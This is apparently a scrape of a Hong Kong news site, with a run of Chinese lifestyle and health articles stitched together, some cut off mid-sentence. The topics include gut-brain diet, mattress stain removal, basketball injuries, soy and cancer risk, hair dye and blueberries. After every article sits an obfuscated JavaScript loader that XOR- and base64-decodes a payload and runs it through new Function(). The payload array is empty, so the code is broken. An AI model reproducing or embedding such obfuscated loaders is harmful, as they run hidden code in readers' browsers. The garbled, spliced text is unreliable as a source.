鞋身配备低轮廓Nike Air Zoom鞋底及厚实缓震鞋垫，提升穿着舒适度。由于设有发热功能，Nike建议使用时穿着袜子，以获得较佳体验。
虽然产品主要面向运动员，但Nike表示，长时间站立工作或旅行期间步行较多的人士，同样可利用发热及震动功能纾缓足部疲劳。对经常外游或需要长时间步行的用户而言，相比体积较大的恢复设备，拖鞋设计亦更方便收纳携带。
Nike Air Zoom Hyperslide将于9月29日正式发售，建议零售价249美元，并于Nike、Hyperice官方网店，以及美国Best Buy和Dick's Sporting Goods等零售渠道同步上市。虽然售价较Hyperboot大幅降低，但仍属高价产品，官方亦建议消费者可先亲身试穿后再考虑购买。
图片：Nike
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var...
認知衰退/心情差竟與腸胃有關？營養師推介7大護腸健腦食物 附全日餐單
经常心情低落、认知衰退，可能与肠胃有关？有营养师严选7大食物，更附上“一日三餐”黄金餐单，从日常饮食轻松养肠护脑。
认知衰退/心情差竟与肠胃有关？
营养师杨斯涵在Facebook专页发文指，压力大的时候容易胃痛、肚泻，紧张时甚至会突然想去厕所；反过来，当肠胃不舒服时，心情也常跟着变得低落。这绝对不只是心理作用，而是因为我们的“肠道”与“大脑”其实一直都在互相沟通，这套双向联络系统，就称为肠脑轴线（Gut-Brain Axis）。肠脑轴线可以简单理解成肠道与大脑之间的双向沟通网络。其中牵涉的不只是神经，还包括肠道菌相、免疫系统、荷尔蒙、血液循环，以及肠道菌产生的各种代谢物。
肠道中的部分好菌在利用膳食纤维后，可以产生短链脂肪酸，如丁酸、乙酸及丙酸。这些物质与肠道屏障、免疫调节及发炎反应都有密切关系。肠道所产生的讯号，也可以透过迷走神经、神经内分泌系统及血液循环与大脑互动，因此可能进一步影响情绪、压力反应、睡眠与认知功能。近年越来越多研究关注，肠道菌丛失衡及慢性发炎，是否与认知退化及神经退化性疾病有关。不过特别提醒，不能将其简单化为吃某种益生菌就能预防脑退化。要真正护肠护脑，必须从整体的日常饮食与生活型态着手。
营养师推介7大护肠健脑食物
与其盲目寻找一种“防脑退化神奇食物”，她建议大家从每天的餐盘开始调整，多摄取以下7大类食物：
1.全谷杂粮
建议将白饭、白面包换成燕麦、糙米、五谷饭、番薯、粟米等未精制全谷类。它们含有丰富膳食纤维与抗性淀粉，能成为肠道好菌的营养来源，同时增加纤维与营养密度。
2.豆类
黄豆、毛豆、黑豆、鹰嘴豆及豆腐等都是极佳的日常食材。除了提供植物性蛋白质，也含有膳食纤维及多种植化素。例如正餐时加入一盘毛豆，或一周安排数餐以豆腐、豆干搭配鱼肉、鸡肉，增加蛋白质来源的多样性。
3.深绿色蔬菜
菠菜、西兰花、番薯叶、芥兰等深绿色蔬菜，含有叶酸、类胡萝卜素、多酚及膳食纤维。紧记要每天轮替不同种类及颜色的蔬菜，因为肠道菌最喜欢的正是饮食的多样性。
4.莓果类
蓝莓、士多啤梨、桑葚、覆盆子等莓果富含花青素及多酚。多酚不只是抗氧化成分，也会与肠道菌丛产生交互作用。若新鲜莓果不易购买，也可轮替进食番石榴、奇异果、柑橘、提子等水果。
5.坚果种子类
核桃、杏仁、芝麻、南瓜籽等富含不饱和脂肪酸及维他命E与多种植化素。每天可安排约一小把原味坚果，用来取代薯片、饼干及甜品。但要注意坚果热量不低，必须适量进食。
6.鱼类
三文鱼、鲭鱼、秋刀鱼、沙甸鱼等是EPA及DHA的重要来源。Omega-3脂肪酸与心血管及神经系统健康都有密切关系。护脑的关键其实是先把血管照顾好，因为高血压、糖尿病及高血脂等心血管疾病，正是导致认知功能下降的重要风险因素。
7.发酵食物
无糖乳酪、无糖优酪乳、味噌及部分天然发酵食品都可纳入日常饮食。但要注意，味噌及醃渍食品的钠含量可能较高，必须控制份量。
防脑退化“一日三餐”黄金配搭
杨斯涵表示，其实护肠健脑毋须购买昂贵的补品，利用一般家庭食材就能轻松做到：
早餐：燕麦＋无糖乳酪 ＋莓果或水果＋核桃，一次摄取全谷、发酵乳品、水果、多酚与好油脂。
午/晚餐：糙米饭＋豆腐＋深绿色蔬菜＋鱼类，把全谷、植物蛋白、蔬菜与Omega-3放进同一餐。
点心：原味坚果＋一份水果取代蛋糕、饼干、含糖饮品及油炸零食。
杨斯涵最后提醒，想全方位护肠护脑，日常饮食中应尽量减少摄取含糖饮品、精制甜食、加工肉类及油炸食品。这并非指“吃一口就会伤脑”，而是长期大量摄取会增加热量、精制糖及饱和脂肪的负担，影响血糖、血脂与血压控制。这些代谢问题，最终会大大增加未来患上心血管疾病及认知功能退化的风险。因此，真正的“护脑饮食”，其实与“护心血管饮食”是高度重叠。
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var...
初級大人必學！床褥有尿漬血漬點清理？EMMAS分享5種清潔方法 「熨斗+毛巾」竟是殺蟎神器？
床褥沾上尿渍血渍怎样处理？床褥品牌EMMAS分享5大清洁秘诀，其中只需熨斗加毛巾，更能瞬间变身零成本杀螨神器。
5种清洁床褥方法 “熨斗+毛巾”竟是杀螨神器？
床褥品牌EMMAS分享，床褥体积庞大，难以直接清洗和晾干。若不小心弄脏而不作处理，日子久了便会滋生大量细菌和尘螨，随时引发湿疹及鼻敏感。其实，日常清洁床褥并非想像中困难，只要善用家中几件小法宝，就能轻松击退顽固污渍与尘螨，让你每晚安心睡觉：
1.去除尿迹
工具︰白醋
处理方法： 将白醋喷洒在有尿渍的位置，静待一小时后，用湿毛巾以按压方式清洁，注意不要用打圈方式，以免污迹扩大。若面对顽固旧渍，可沾白醋用牙刷轻刷，最后以风筒吹干。
2.去除血渍
工具︰柠檬、冷水
处理方法：刚染上的新血渍，应先用冷水清洗，再用湿毛巾加肥皂水按压清洁，注意不要用打圈方式，以免污迹扩大。若血迹已残留一段时间，则可用柠檬汁加盐水按压清洗，切记必须使用冷水清洗床褥血渍，否则血渍会凝固，变得极难清洗。
3.去除饮品渍
工具︰吸水力强的毛巾、酒精
处理方法：先用吸水力强的毛巾沾上适量酒精，然后轻轻擦拭。此举能有效消除残余饮品的香味，防止引来昆虫。
4.去除床螨
工具︰蒸气机/熨斗/棍子/防尘螨吸尘机
方法1︰尘螨非常怕热，只要温度高于摄氏60度便无法生存。除了将床褥放在阳光下暴晒或用高温蒸气机外，大家亦可在床褥垫上一条毛巾，再用熨斗蒸熨，同样能达致杀螨效果。
方法2︰定期把床褥翻转拍打，亦可用棍子拍打，然后再用防尘螨吸尘机彻底清洁床褥。
5.去湿气
工具︰梳打粉
方法︰将梳打粉均匀洒在床褥表面，静待1至2小时，然后用吸尘机彻底吸走剩余的梳打粉。日常亦应多开抽湿机，保持房间干爽。
日常保养床褥4大方法
以上方法都适合床褥污迹的面积较小，如果污渍面积过大，建议寻求专业的上门洗床褥公司处理。在日常生活中，大家亦应做好以下4步保养床褥：
使用防水保护套：有效减低床褥沾上污迹及细菌的机会，令我们安心睡觉。
定期吸尘：定期使用吸尘机吸走床褥表面的皮屑与尘埃，防止床褥出现床螨。
定期清洁床褥：最好每两星期更换及清洗一次床单，避免人体的汗水、油脂和死皮积聚。如果想深层清洁床褥，可以找上门洗床褥服务公司处理，确保床褥完全干净。
保持床褥干爽：床褥必须保持干爽，每次清洁完床褥，都要彻底吹干才用。另外，可多开窗，保持空气流通，亦可在房间内放置一部抽湿机以抽走房间内的湿气。
资料来源：床褥品牌EMMAS
T10
(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new...
打波急停易傷膝傷踝？籃球5大傷患逐個數 專家教強化核心是關鍵
篮球是本港最受欢迎的球类运动之一，与足球、排球并列为本地最普及的三大球类活动。无论是校队训练、业余联赛，以至街场“斗波”，参与者遍及各年龄层。然而，这项结合速度、爆发力与身体对抗的运动，受伤风险亦相对较高。物理治疗师钟惠文博士指，了解常见伤患及预防方法尤为重要。
篮球场上5大常见伤患
钟博士整合国际运动医学研究，归纳出5大常见篮球伤患，并提醒预防关键在于“动作控制”与“核心稳定性”。
篮球伤患｜1. 踝关节扭伤
最常见的篮球伤患。跳跃落地时踏到他人脚部或失去平衡，容易拉伤甚至撕裂外侧韧带。若康复不彻底，可能演变为慢性踝关节不稳，增加再受伤风险。
篮球伤患｜2. 膝关节韧带及半月板损伤
急停、转向及跳跃动作对膝部负荷极大。前十字韧带（ACL）撕裂在篮球运动中并不罕见，女性运动员风险更高。半月板受伤亦常与旋转动作或落地不稳有关。
篮球伤患｜3. 髌腱病变（跳跃膝）
长期反复跳跃令髌腱过度负荷，出现慢性发炎及疼痛。患者在起跳、蹲下或上落楼梯时膝前疼痛，忽视治疗可能需长时间休息。
篮球伤患｜4. 手指挫伤及脱臼
高速传接球或抢球时，手指易受撞击，引致韧带拉伤或关节脱位。虽多属轻伤，处理不当或影响手部灵活性与握力。
篮球伤患｜5. 肌肉拉伤（大腿及小腿）
高强度冲刺及急停易拉伤股四头肌、腿后肌群或小腿肌肉。热身不足、柔韧度欠佳或疲劳作赛均会增加风险。
核心稳定性是预防关键
钟惠文博士指出，不少伤患与“动作控制不足”及“核心稳定性欠佳”有关。当球员跳跃落地时，若髋关节及核心肌群未能有效稳定身体，膝关节容易内扣，增加前十字韧带受伤风险。因此，预防不应只针对单一部位，而应从整体动作模式入手。
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var...
研究揭3大豆製品屬平價抗癌之星 常喝豆漿患癌率大降28% 附最佳攝取量
平时常喝的豆浆原来是隐藏“抗癌神物”！有研究指出，有3大平民豆制品能显著降低整体患癌风险，当中每日饮豆浆，患癌率更可大幅激降28%。
研究揭3大豆制品属平价抗癌之星 附最佳摄取量
营养师老辜于Facebook专页发文指，一块田字格传统豆腐，大约160克，可提供约14克蛋白质，相当于两份优质蛋白质。在进食的同时，还能摄取到丰富的植化素与少量钙质，是非常优质的植物性蛋白质来源。除了补充蛋白质，他更引述了一项于2024年发表在《Nutrients》的研究。该篇大型系统性回顾与Meta-analysis，整合了多项观察性研究后发现，进食不同种类的黄豆制品，与降低整体癌症风险有着显著的相关性。
研究数据明确显示，黄豆食品的摄取量越高，整体癌症风险便呈现越低的趋势。当中3大平民抗癌之星的最佳摄取量及功效如下：
3大豆制品属平价抗癌之星：
‧每日增加约61克豆腐，整体癌症风险降低12%。
‧每日增加54克黄豆制品，整体癌症风险降低11%。
‧每日增加23克豆浆，整体癌症风险降低28%。
虽然研究数据十分鼓舞，但老辜特别提醒大众，这项研究整合的主要是“观察性研究”，目前只能说明两者具有相关性。这绝对不代表吃得越多就越防癌，大众更不能期望单靠狂吃就能100%预防癌症。根据目前的医学证据支持，最理想的做法是将豆腐、豆浆等黄豆制品，适量且长期地纳入日常的均衡饮食之中，这才有助于长远的健康发展。至于黄豆制品与防癌之间的确切因果关系，仍有待医学界进一步研究确认。
肺癌、大肠癌成港人癌症死亡率首2位
据香港癌症资料统计中心资料显示，本港首5类致命癌症依次为肺癌、大肠癌、肝癌、胰脏癌及乳癌，2023年按性别划分首5类致命癌症包括：
哪些人较易患上癌症？怎样减低患癌的机会？
卫生署资料显示，超过1/3的癌症死亡个案是由可改变或可避免的行为和环境风险因素所造成，包括：
1.吸烟
2.饮酒
3.不健康饮食，例如进食大量红肉和加工肉食
4.缺乏体能活动
5.超重和肥胖
6.慢性感染某些病毒，例如乙型肝炎病毒、 丙型肝炎病毒、人类乳头瘤病毒（HPV）和伯基特淋巴瘤病毒
6.过度暴露于阳光、太阳灯或其他来源的紫外线辐射
室内和室外的空气污染
7.透过环境或工作场所接触到致癌物
另一方面，癌症的风险会随年龄增长而递增，家族史和遗传因素亦会增加患上某些癌症的风险。
世界卫生组织指出，约30-50%的癌症是可预防的，改变或避免一些风险因素能有效减低患癌机会，例如：
1.避免吸烟和吸入二手烟
2.避免饮酒
3.保持均衡饮食
4.多做体能活动
5.保持健康体重和腰围
6.接种预防乙型肝炎和HPV疫苗
7.防止被阳光过度照射
8.遵从职业安全健康规定，包括在适当情况下使用保护装备，以减少在工作场所接触到致癌物
9.采取安全性行为
资料来源：营养师老辜、《Nutrients》、政府资料、卫生署
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var...
網傳漱口水變擴香可驅果蠅專家警告恐刺激呼吸道兒童寵物風險高
夏天果蝇横行，令人烦恼。近日网上流传一招“驱蝇妙招”——将漱口水倒入瓶中，插入扩香棒置于厨房，声称可杜绝果蝇。有网民实测后大赞效果显著，但也有人提醒吸入漱口水挥发成分恐伤身。究竟这个方法是否可行？《星岛头条》邀请了家庭医生林永和为大家拆解这到底是“妙招”定“毒计”。
漱口水挥发物可刺激眼鼻
有日本网民在社交平台分享，指因漱口水刺激性强，用不完，索性将瓶盖打开，插入扩香棒放置厨房，结果“以前每年都出现的小果蝇，从此一只都看不见”。贴文引发热议，不少人跃跃欲试。然而，随即有网民留言警告：“长期吸入漱口水的香精成分会对肝肾造成负担，果蝇未驱走，身体先搞坏。”
（图：guffisme@Threads）
林医生解释，一般漱口水含有酒精、薄荷醇、桉树油、香精及防腐剂等挥发性物质，设计用于口腔消毒及清新口气，不应联想到用于清洁空气或驱虫。当这些成分挥发到空气中，近距离或通风不良情况下吸入，可能刺激鼻腔、喉咙及呼吸道，引起打喷嚏、喉咙痕痒、咳嗽、流眼水、眼睛刺痛等轻微短暂反应。
若浓度较高或长时间接触，则可能出现头痛、头晕，甚至诱发气管问题及潜在致癌风险，但仍需视乎实际剂量而定。林医生提醒：“无论任何年龄，对于哮喘、鼻敏感或慢性阻塞性肺病患者，挥发性物质有机会刺激呼吸道、诱发病发，必须特别留意。”
家有小孩宠物 绝对不宜
林医生强调，儿童和宠物体型较小、对化学物质的耐受性较低，可能引致较明显的急性反应，如流鼻水、咳嗽、打喷嚏或不适。而小朋友的气管和眼睛尚未发育成熟，即使吸入相同剂量，不适反应可能更为剧烈。
“至于宠物方面，目前缺乏相关医学研究，但推测有可能出现毒性反应，因为宠物的肝肾功能未必能有效分解薄荷醇、桉树油等成分，加上毛发可能吸附挥发物，宠物舔舐后有机会经进食吸收，剂量比单纯吸入更高。”因此，有儿童及宠物的家庭更不应使用这类方法来驱虫或消毒空气。
林医生指，若家中出现苍蝇或昆虫，更应从家居衞生入手，例如妥善处理垃圾、厨余及食物残渣，从源头解决问题，才是对症下药的正确做法。
1款平价香料 轻松对付果蝇昆虫
要有效驱赶果蝇，毋须冒险使用化学品。有国外专家推荐以下天然安全方法：
1. 果蝇
若不想果蝇飞近家中的水果盘，方法非常简单，只需在盘内放置几根肉桂棒，很快就能彻底摆脱果蝇在生果上盘旋的困扰
2. 蝇蛆和苍蝇
只需戴上手套，在垃圾桶的底部及盖子上均匀撒上一层薄薄的肉桂粉，能有效阻挡小虫入侵。
3. 蚊子
将两茶匙肉桂粉倒入量杯，加入4杯温水搅拌均匀并静置浸泡；其后将混合液过滤入喷壶，加入半茶匙外用酒精及半茶匙洗洁精。摇匀后喷洒于家居四周环境，即可有效驱蚊。
要留意，肉桂虽然未被美国爱护动物协会（ASPCA）列为对猫狗致命的有毒物质，但可能刺激口腔和消化道的黏膜，因此勿放在猫狗易接触到的位置。
资料来源：guffisme@Threads
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var...
有白頭髮等於「身體抗癌」？ 日本研究： 毛囊幹細胞啟動防癌機制 營養師力推護髮3寶
有白头发等于“身体抗癌”？不少市民一看到头上出现白发，便马上染发遮掩。据英国《每日邮报》引述一项刊登于国际权威期刊《自然细胞生物学》研究指出，长出白发不仅是人体衰老的标志，更代表着身体正在积极对抗头皮毛囊中可能引致癌症的细胞突变，避免其恶化为黑色素瘤。
白头发｜日本研究：毛囊干细胞启动“自毁程序”防范癌症扩散
由日本东京大学团队进行的小鼠实验发现，毛囊中的黑色素干细胞（负责生长成赋予头发及皮肤颜色的黑色素细胞）一旦检测到任何可能导致癌症的 DNA 损伤迹象，便会自动进入“细胞老化”的自我毁灭模式。这项机制虽然会使干细胞永久关闭并导致头发失去颜色变白，但却极为关键。因为研究证实，这些干细胞一旦发生致癌病变且未被及时关闭，便会迁移至皮肤表层并演变成恶性黑色素瘤，进而可能扩散至全身。领导研究的西村惠美教授表示，毛囊细胞能在基因受损初期及时自我关闭，正是人体预防癌症发生的重要屏障。
白头发｜周围毛囊释放蛋白质增加致癌风险
这项研究亦同时解答了一个重要疑问：若毛囊干细胞能在基因受损时即时停作，为何面对过度阳光照射（即恶性黑色素瘤最大成因）时却无法发挥保护作用？东京大学团队发现，当毛囊细胞暴露于紫外线时，无法顺利引发上述的保护性反应。相反，紫外线会刺激周围毛囊释放出一种名为“KIT 配体”的蛋白质，这种蛋白质会直接阻断传递给缺陷细胞的关闭讯号，导致异变细胞继续分裂，大幅增加形成黑色素瘤的风险。
白头发｜小鼠毛发生长机制与人类不同 研究成果存局限性
虽然这项发现为癌症预防带来全新方向，但研究团队亦强调目前研究成果仍存在一定局限性。由于小鼠的毛囊生长周期与人类并不相同，小鼠毛囊每隔数周便会同步生长，其黑色素干细胞的分裂频率远高于人类。此外，人类确诊黑色素瘤的平均年龄为 60 至 70 岁，时间上远晚于多数人开始长出白发的年纪；加上头皮黑色素瘤在人类皮肤癌个案中仅占 2% 至 5%，且多局限于皮肤外层，因此要将此机制完全应用于人类癌症治疗，仍有待后续更多临床研究证实。
白头发｜多吃3种食物护发
预防脱发营养师高敏敏曾分享，要护发避免脱发，可多吃以下3种营养素食物。另有1种食物要小心，多吃会引发脱发危机：
护发营养及食物｜1. 维他命B群
作用：促进蛋白质合成，有助头发生长和修复
推介食物：绿色蔬菜、全谷饭、燕麦胚芽、瘦肉、奶
护发营养及食物｜2. 维他命C
作用：对抗压力、形成发内胶原蛋白
推介食物：番石榴、莓果（例如：士多啤梨、蓝莓）、橙、苹果
护发营养及食物｜3. 优质蛋白质
作用：发丝最重要的基底
推介食物：鱼类、肉类、蛋、豆类
高敏敏指，除了营养素摄取不足，不正常的节食方式也会导致营养不良，头发首当其冲。她提醒，除了摄取上述营养素，也尽量避免吃生蛋。因为生蛋白含有的抗生物素，会阻碍生物素吸收，引发脱发危机。
资料来源：《自然细胞生物学》、营养师高敏敏
T10
(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
...
頻繁染髮恐大幅增加致癌風險！醫生警告2大深色染劑最危險 拆解安全染髮5大關鍵
不少港人日常均有染发习惯，喜欢借此转换造型或遮盖白发，尝试各种不同风格。有医学研究指出，染发剂中的部分化学成分对人体有害，长期频繁使用甚至有可能增加致癌风险。专家建议，市民应调整染发习惯，每次染发之间应相隔最少 3 至 6 个月，以保障身体健康。
六旬妇持续染发40年罹患膀胱癌 化学成分积聚器官引发病变
泌尿科医生归家豪早前分享一宗临床个案，一名 60 岁女士因血尿等症状求医，最终确诊患上膀胱癌。该名女士虽然于工厂任职，但并非第一线接触化学品的人员，经深入追查后发现，该女士因极度贪靓，自 20 岁起便保持每个月染发的习惯，40 年来从无间断。
医生推测这正是导致其患癌的主因，因为市面上大部分染发剂均含有水溶性化学物质，涂抹于头皮上后容易进入血液，再经由肾脏代谢并进入尿液。若长期反复染发，未能及时排出的化学物质会沾附于器官上，长期累积便会引发细胞病变并损害膀胱健康。
医生：每次染发最少相隔3至6个月 深啡色、黑色化学物浓度高
皮肤科医生曾德朋指出，市民每次染发时应维持最少 3 至 6 个月的时间间隔，这样才能给予身体充足的时间将化学物质排出体外，并让受损细胞进行自我修复。
外科医生江坤俊亦补充，市面上部分染发剂含有重金属与致癌成分，尤以深啡色及黑色等深色染剂的化学物质含量相对较高。因此，医生建议市民若需染发，可考虑选择较浅的发色，以稍微减少身体接触到的化学物总量。
DIY染发应选购具许可证产品 一年染发不宜超过3次
对于习惯在家中自行 DIY 染发的市民，医生提醒在选购染发剂时应仔细检查产品包装，务必挑选附有相关监管机构许可证的合规产品。由于染发剂若直接接触头皮极易被皮肤吸收，市民在染发前应配合使用头皮保护液，在头皮表面形成屏障以减低损害。
由于染发剂中的化学物质大部分需要经过泌尿系统代谢排出身体，医生强烈建议市民在染发后应多喝水排尿，加速将体内的有害物质排出。最后，医生特别提醒，尽管在政府法例规管下，现时合法染发产品中的致癌物浓度已大幅降低，但仍强烈不建议市民一年染发超过 3...
藍莓越大粒越甜？專家教用凍水揀最甜藍莓 這樣做保鮮期長達12個月！
买蓝莓最怕买到超酸果，甚至以为蓝莓越大粒越甜，但有专家指，只需一碗冻水，就能测出真实甜度，更加码公开一招神奇保存法，让蓝莓保鲜期大幅延长至12个月，从此告别发霉变坏。
专家教用冻水拣最甜蓝莓
蓝莓是营养最丰富的水果之一，不过，到底如何判断蓝莓是否成熟？怎样才能避免买到超酸的蓝莓？据《Daily Meal》报道，大家首先要摒弃“越大粒越好”的迷思。虽然坊间常说挑选蓝莓时，颜色越深、果皮越饱满就越甜，但园艺专家Chris Enroth指出，其实有一个更简单零失手的方法来分辨甜度：
专家教用冻水拣最甜蓝莓
Chris Enroth建议，只需将买回来的蓝莓放入一碗冻水中，便能立即分辨出其成熟度与甜度：
沉入水底（成熟鲜甜）：成熟的蓝莓含糖量较高，由于密度较大，会自然沉入水中。这些沉底的蓝莓味道最好，可以立即食用。
浮在水面（尚未成熟/偏酸）：带有酸涩味或尚未完全成熟的蓝莓，因含糖量较低、密度较小，会漂浮在水面上。
经过冻水测试后，沉底与浮面的蓝莓会明显分开。不过，漂浮在水面上的蓝莓千万不要丢掉，只要正确处理，它们之后依然大派用场。
蓝莓这样做保鲜期长达12个月
沉入水底的鲜甜蓝莓，除了可以直接享用外，亦可装入密实袋中放进冰格急冻保存。据农业资讯网站Jooever介绍，若将急冻蓝莓储存在摄氏零下18度或更低的温度下，其美味和营养可保持长达8至12个月。即使超过这个期限，进食虽然不会引致生病，但品质及口感会明显下降。若发现急冻蓝莓变色、出现严重冻伤或闻到酸臭味，就极可能已经变质，应立即丢弃。
至于在水测中浮面的蓝莓，代表它们尚未完全成熟。只需将其放入雪柜保鲜格冷藏数周，它们自然会慢慢熟透变甜。行政主厨Raymond Ortiz特别警告，蓝莓绝对不宜放在室温下保存，否则几天内便会腐烂变坏。此外，在放入雪柜储存前，切忌用水清洗蓝莓，因为表面残留的水分极容易导致果实发霉。最理想的做法，是将未洗的蓝莓放入密封食物盒中，并在盒内铺上一层干燥的厨房纸巾，以延长保鲜期。
资料来源：《Daily Meal》
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var...
點解一放假就病？專家拆解「放電效應」 高壓族群有得避？必學5招防假期魔咒
“一放假就病”相信不少人都非常有共呜。工作中“搏杀”足几个月，却不幸地一放假就开始喉咙痛、鼻塞、头痛，所有假期计划只好泡汤！原来，这种“假期魔咒”是确实有科学根据，这现象又称为“放电效应（let-down effect）”或“休闲病”（Leisure Sickness）。
放电效应｜压力后身体反弹
外媒报道，Henry Legere医生解释，长期处于慢性压力下，身体会持续分泌皮质醇和肾上腺素，进入“战斗或逃跑”模式。免疫系统在此期间会产生变化，睡眠亦受影响，许多人只是不自觉地撑过疲劳和疼痛等不适症状；当压力突然下降时，发炎路径可能反弹，引发偏头痛，潜伏的病毒或呼吸道症状。
放电效应｜小型研究：3%人常在假期生病
虽然“放电效应”或“休闲病”并非正式医学诊断，但2002年荷兰一项小型研究发现，约3%参与者经常在周末或假期生病，最常见症状包括头痛、疲劳、肌肉酸痛、恶心和感冒症状。研究人员推测，从长期工作状态过渡到放松状态，可能是一个关键因素。
Legere医生指出，这类“假期魔咒”现象具有生物学合理性，尤其对责任重大、表现卓越的个体，假期首几天就是慢性压力“要还债”的时候。
放电效应｜5大策略防止假期病
专家建议，与其把假期当作“开关”般切换，不如采用以下方法，帮助身体顺利过渡：
逐步完成工作：避免冲刺到最后一刻，预留时间处理重要项目，减少压力累积。
保护睡眠：旅行前数天确保充足休息，让身体有时间恢复。
保持水分：旅行前后注意补充水分，帮助身体适应环境变化。
限制饮酒、稳定咖啡因：避免过量饮酒，保持咖啡因摄取习惯相对稳定，以防戒断性头痛。
轻松运动：旅行日进行散步或伸展等轻量活动，帮助身体适应转变。
放电效应｜别把假期行程排太满
Legere医生提醒，最好把假期当作为自己“充电”的训练，而非“每一分钟都要填满活动”。下次计划假期时，尽量安排一日缓冲时间，让身体和心理适应放松节奏，慢慢进入休假状态，让身体真正获得休息，享受一趟无病无痛的旅程。
资料来源：New York Post
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
